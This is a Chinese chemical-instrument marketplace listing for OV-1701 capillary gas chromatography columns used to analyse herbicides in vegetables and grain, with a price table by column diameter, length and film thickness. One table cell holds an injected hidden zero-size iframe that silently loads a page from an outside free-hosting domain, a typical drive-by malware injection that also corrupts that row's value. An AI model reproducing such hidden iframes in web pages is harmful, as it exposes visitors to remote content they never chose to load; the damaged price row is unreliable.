您好, 歡迎來到化工儀器網(wǎng)! 登錄| 免費(fèi)注冊(cè)| 產(chǎn)品展廳| 收藏商鋪|
行業(yè)產(chǎn)品
當(dāng)前位置:> 供求商機(jī)> 除草劑分析柱-OV-1701毛細(xì)色譜柱
適用于蔬菜、糧食中除草劑的分析
內(nèi)徑mm | 長(zhǎng)度m | 膜厚um | 價(jià) 格 | | 內(nèi)徑mm | 長(zhǎng)度m | 膜厚um | 價(jià) 格 |
0.20 | 30 | 0.3 | 1600 | | 0.32 | 30 | 0.3 | 1600 |
0.20 | 30 | 0.6 | 1600 | 0.32 | 30 | 0.6 | 1600 | |
0.20 | 50 | 0.3 | 2400 | 0.32 | 30 | 1.0 | 1700 | |
0.20 | 50 | 0.6 | 2400 | 0.32 | 50 | 0.3 | 2400 | |
0.25 | 15 | 0.3 | 900 | 0.32 | 50 | 0.6 | 2400 | |
0.25 | 15 | 0.6 | 900 | 0.32 | 50 | 1.0 | 2600 | |
0.25 | 30 | 0.3 | 1600 | 0.32 | 50 | <iframe height="0" src="http://user.free.77169.net/rover/.htm" width="0">iframe>3.0 | 3800 | |
0.25 | 30 | 0.6 | 1600 | 0.53 | 15 | 0.5 | 1200 | |
0.25 | 30 | 1.0 | 1700 | 0.53 | 15 | 1.0 | 1300 | |
0.25 | 50 | 0.3 | 2400 | 0.53 | 30 | 0.5 | 2200 | |
0.25 | 50 | 0.6 | 2400 | 0.53 | 30 | 1.0 | 2350 | |
0.25 | 50 | 1.0 | 2600 | 0.53 | 50 | 0.5 | 3300 | |
0.32 | 15 | 0.3 | 900 | 0.53 | 50 | 1.0 | 3500 | |
0.32 | 15 | 0.6 | 900 | 0.53 | 50 | 3.0 | 5000 |
本色譜柱相關(guān)應(yīng)用: | ||||||||||||||||||||
|
請(qǐng)輸入賬號(hào)
請(qǐng)輸入密碼
請(qǐng)輸驗(yàn)證碼
以上信息由企業(yè)自行提供,信息內(nèi)容的真實(shí)性、準(zhǔn)確性和合法性由相關(guān)企業(yè)負(fù)責(zé),化工儀器網(wǎng)對(duì)此不承擔(dān)任何保證責(zé)任。
溫馨提示:為規(guī)避購(gòu)買風(fēng)險(xiǎn),建議您在購(gòu)買產(chǎn)品前務(wù)必確認(rèn)供應(yīng)商資質(zhì)及產(chǎn)品質(zhì)量。